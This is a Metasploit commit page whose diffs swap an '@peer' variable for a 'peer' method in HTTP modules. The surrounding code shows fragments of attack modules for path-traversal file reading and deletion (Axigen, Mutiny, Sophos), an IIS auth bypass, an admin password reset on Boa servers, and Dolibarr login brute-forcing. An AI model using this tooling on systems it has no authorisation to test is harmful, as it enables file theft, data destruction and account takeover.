Skip to content

Commit e4c6413

Browse files
committed
Land rapid7#2718, @wchen-r7's deletion of @peer on HttpClient modules
2 parents 79e23a1 + bf34892 commit e4c6413

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

45 files changed

+342
-431
lines changed

modules/auxiliary/admin/http/axigen_file_access.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -51,13 +51,11 @@ def initialize(info = {})
5151
end
5252

5353
def run
54-
@peer = "#{rhost}:#{rport}"
55-
56-
print_status("#{@peer} - Trying to login")
54+
print_status("#{peer} - Trying to login")
5755
if login
58-
print_good("#{@peer} - Login successful")
56+
print_good("#{peer} - Login successful")
5957
else
60-
print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
58+
print_error("#{peer} - Login failed, review USERNAME and PASSWORD options")
6159
return
6260
end
6361

@@ -69,7 +67,7 @@ def run
6967
@traversal.gsub!(/\//, "\\")
7068
file.gsub!(/\//, "\\")
7169
else # unix
72-
print_error("#{@peer} - *nix platform detected, vulnerability is only known to work on Windows")
70+
print_error("#{peer} - *nix platform detected, vulnerability is only known to work on Windows")
7371
return
7472
end
7573

@@ -83,7 +81,7 @@ def run
8381

8482
def read_file(file)
8583

86-
print_status("#{@peer} - Retrieving file contents...")
84+
print_status("#{peer} - Retrieving file contents...")
8785

8886
res = send_request_cgi(
8987
{
@@ -98,14 +96,14 @@ def read_file(file)
9896

9997
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
10098
store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
101-
print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
99+
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
102100
else
103-
print_error("#{@peer} - Failed to retrieve file")
101+
print_error("#{peer} - Failed to retrieve file")
104102
end
105103
end
106104

107105
def delete_file(file)
108-
print_status("#{@peer} - Deleting file #{file}")
106+
print_status("#{peer} - Deleting file #{file}")
109107

110108
res = send_request_cgi(
111109
{
@@ -121,14 +119,14 @@ def delete_file(file)
121119
})
122120

123121
if res and res.code == 200 and res.body =~ /View Log Files/
124-
print_good("#{@peer} - File #{file} deleted")
122+
print_good("#{peer} - File #{file} deleted")
125123
else
126-
print_error("#{@peer} - Error deleting file #{file}")
124+
print_error("#{peer} - Error deleting file #{file}")
127125
end
128126
end
129127

130128
def get_platform
131-
print_status("#{@peer} - Retrieving platform")
129+
print_status("#{peer} - Retrieving platform")
132130

133131
res = send_request_cgi(
134132
{
@@ -142,15 +140,15 @@ def get_platform
142140

143141
if res and res.code == 200
144142
if res.body =~ /Windows/
145-
print_good("#{@peer} - Windows platform found")
143+
print_good("#{peer} - Windows platform found")
146144
return 'windows'
147145
elsif res.body =~ /Linux/
148-
print_good("#{@peer} - Linux platform found")
146+
print_good("#{peer} - Linux platform found")
149147
return 'unix'
150148
end
151149
end
152150

153-
print_warning("#{@peer} - Platform not found, assuming UNIX flavor")
151+
print_warning("#{peer} - Platform not found, assuming UNIX flavor")
154152
return 'unix'
155153
end
156154

modules/auxiliary/admin/http/iis_auth_bypass.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -76,19 +76,17 @@ def try_auth
7676
end
7777

7878
def run
79-
@peer = "#{rhost}:#{rport}"
80-
8179
if not has_auth
82-
print_error("#{@peer} - No basic authentication enabled")
80+
print_error("#{peer} - No basic authentication enabled")
8381
return
8482
end
8583

8684
bypass_string = try_auth
8785

8886
if bypass_string.empty?
89-
print_error("#{@peer} - The bypass attempt did not work")
87+
print_error("#{peer} - The bypass attempt did not work")
9088
else
91-
print_good("#{@peer} - You can bypass auth by doing: #{bypass_string}")
89+
print_good("#{peer} - You can bypass auth by doing: #{bypass_string}")
9290
end
9391
end
9492

modules/auxiliary/admin/http/intersil_pass_reset.rb

Lines changed: 10 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -52,23 +52,22 @@ def check
5252
})
5353

5454
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
55-
print_status("#{@peer} - Boa Version Detected: #{m[1]}")
55+
print_status("#{peer} - Boa Version Detected: #{m[1]}")
5656
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
5757
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
5858
return Exploit::CheckCode::Vulnerable
5959
else
60-
print_status("#{@peer} - Not a Boa Server!")
60+
print_status("#{peer} - Not a Boa Server!")
6161
return Exploit::CheckCode::Safe # not a boa server
6262
end
6363

6464
rescue Rex::ConnectionRefused
65-
print_error("#{@peer} - Connection refused by server.")
65+
print_error("#{peer} - Connection refused by server.")
6666
return Exploit::CheckCode::Safe
6767
end
6868
end
6969

7070
def run
71-
@peer = "#{rhost}:#{rport}"
7271
return if check != Exploit::CheckCode::Vulnerable
7372

7473
uri = normalize_uri(target_uri.path)
@@ -81,32 +80,32 @@ def run
8180
})
8281

8382
if res.nil?
84-
print_error("#{@peer} - The server may be down")
83+
print_error("#{peer} - The server may be down")
8584
return
8685
elsif res and res.code != 401
87-
print_status("#{@peer} - #{uri} does not have basic authentication enabled")
86+
print_status("#{peer} - #{uri} does not have basic authentication enabled")
8887
return
8988
end
9089

91-
print_status("#{@peer} - Server still operational. Checking to see if password has been overwritten")
90+
print_status("#{peer} - Server still operational. Checking to see if password has been overwritten")
9291
res = send_request_cgi({
9392
'uri' => uri,
9493
'method'=> 'GET',
9594
'authorization' => basic_auth('admin', datastore['PASSWORD'])
9695
})
9796

9897
if not res
99-
print_error("#{@peer} - Server timedout, will not continue")
98+
print_error("#{peer} - Server timedout, will not continue")
10099
return
101100
end
102101

103102
case res.code
104103
when 200
105-
print_good("#{@peer} - Password reset successful with admin:#{datastore['PASSWORD']}")
104+
print_good("#{peer} - Password reset successful with admin:#{datastore['PASSWORD']}")
106105
when 401
107-
print_error("#{@peer} - Access forbidden. The password reset attempt did not work")
106+
print_error("#{peer} - Access forbidden. The password reset attempt did not work")
108107
else
109-
print_status("#{@peer} - Unexpected response: Code #{res.code} encountered")
108+
print_status("#{peer} - Unexpected response: Code #{res.code} encountered")
110109
end
111110

112111
end

modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb

Lines changed: 12 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -51,13 +51,11 @@ def initialize(info = {})
5151
end
5252

5353
def run
54-
@peer = "#{rhost}:#{rport}"
55-
56-
print_status("#{@peer} - Trying to login")
54+
print_status("#{peer} - Trying to login")
5755
if login
58-
print_good("#{@peer} - Login successful")
56+
print_good("#{peer} - Login successful")
5957
else
60-
print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
58+
print_error("#{peer} - Login failed, review USERNAME and PASSWORD options")
6159
return
6260
end
6361

@@ -71,7 +69,7 @@ def run
7169

7270
def read_file(file)
7371

74-
print_status("#{@peer} - Copying file to Web location...")
72+
print_status("#{peer} - Copying file to Web location...")
7573

7674
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
7775
res = send_request_cgi(
@@ -88,12 +86,12 @@ def read_file(file)
8886
})
8987

9088
if res and res.code == 200 and res.body =~ /\{"success":true\}/
91-
print_good("#{@peer} - File #{file} copied to #{dst_path} successfully")
89+
print_good("#{peer} - File #{file} copied to #{dst_path} successfully")
9290
else
93-
print_error("#{@peer} - Failed to copy #{file} to #{dst_path}")
91+
print_error("#{peer} - Failed to copy #{file} to #{dst_path}")
9492
end
9593

96-
print_status("#{@peer} - Retrieving file contents...")
94+
print_status("#{peer} - Retrieving file contents...")
9795

9896
res = send_request_cgi(
9997
{
@@ -103,17 +101,17 @@ def read_file(file)
103101

104102
if res and res.code == 200
105103
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
106-
print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
104+
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
107105
else
108-
print_error("#{@peer} - Failed to retrieve file")
106+
print_error("#{peer} - Failed to retrieve file")
109107
end
110108

111109
# Cleanup
112110
delete_file("#{dst_path}#{::File.basename(file)}")
113111
end
114112

115113
def delete_file(file)
116-
print_status("#{@peer} - Deleting file #{file}")
114+
print_status("#{peer} - Deleting file #{file}")
117115

118116
res = send_request_cgi(
119117
{
@@ -127,9 +125,9 @@ def delete_file(file)
127125
})
128126

129127
if res and res.code == 200 and res.body =~ /\{"success":true\}/
130-
print_good("#{@peer} - File #{file} deleted")
128+
print_good("#{peer} - File #{file} deleted")
131129
else
132-
print_error("#{@peer} - Error deleting file #{file}")
130+
print_error("#{peer} - Error deleting file #{file}")
133131
end
134132
end
135133

modules/auxiliary/admin/http/sophos_wpa_traversal.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ def read_file(file)
7272
travs << file
7373
travs << "%00"
7474

75-
print_status("#{@peer} - Retrieving file contents...")
75+
print_status("#{peer} - Retrieving file contents...")
7676

7777
res = send_request_cgi(
7878
{
@@ -95,19 +95,17 @@ def read_file(file)
9595
end
9696

9797
def run
98-
@peer = "#{rhost}:#{rport}"
99-
100-
print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
98+
print_status("#{peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
10199
if is_proficy?
102-
print_good("#{@peer} - Check successful")
100+
print_good("#{peer} - Check successful")
103101
else
104-
print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found")
102+
print_error("#{peer} - Sophos Web Protect Appliance vulnerable component not found")
105103
return
106104
end
107105

108106
contents = read_file(datastore['FILEPATH'])
109107
if contents.nil?
110-
print_error("#{@peer} - File not downloaded")
108+
print_error("#{peer} - File not downloaded")
111109
return
112110
end
113111

@@ -119,7 +117,7 @@ def run
119117
contents,
120118
file_name
121119
)
122-
print_good("#{rhost}:#{rport} - File saved in: #{path}")
120+
print_good("#{peer} - File saved in: #{path}")
123121

124122
end
125123

modules/auxiliary/scanner/http/dolibarr_login.rb

Lines changed: 8 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -62,11 +62,11 @@ def do_login(user, pass)
6262
#
6363
sid, token = get_sid_token
6464
if sid.nil? or token.nil?
65-
print_error("#{@peer} - Unable to obtain session ID or token, cannot continue")
65+
print_error("#{peer} - Unable to obtain session ID or token, cannot continue")
6666
return :abort
6767
else
68-
vprint_status("#{@peer} - Using sessiond ID: #{sid}")
69-
vprint_status("#{@peer} - Using token: #{token}")
68+
vprint_status("#{peer} - Using sessiond ID: #{sid}")
69+
vprint_status("#{peer} - Using token: #{token}")
7070
end
7171

7272
begin
@@ -86,18 +86,18 @@ def do_login(user, pass)
8686
}
8787
})
8888
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
89-
vprint_error("#{@peer} - Service failed to respond")
89+
vprint_error("#{peer} - Service failed to respond")
9090
return :abort
9191
end
9292

9393
if res.nil?
94-
print_error("#{@peer} - Connection timed out")
94+
print_error("#{peer} - Connection timed out")
9595
return :abort
9696
end
9797

9898
location = res.headers['Location']
9999
if res and res.headers and (location = res.headers['Location']) and location =~ /admin\//
100-
print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
100+
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
101101
report_auth_info({
102102
:host => rhost,
103103
:port => rport,
@@ -109,18 +109,17 @@ def do_login(user, pass)
109109
})
110110
return :next_user
111111
else
112-
vprint_error("#{@peer} - Bad login: \"#{user}:#{pass}\"")
112+
vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"")
113113
return
114114
end
115115
end
116116

117117
def run
118118
@uri = target_uri.path
119119
@uri.path << "/" if @uri.path[-1, 1] != "/"
120-
@peer = "#{rhost}:#{rport}"
121120

122121
each_user_pass { |user, pass|
123-
vprint_status("#{@peer} - Trying \"#{user}:#{pass}\"")
122+
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
124123
do_login(user, pass)
125124
}
126125
end

0 commit comments

Comments
 (0)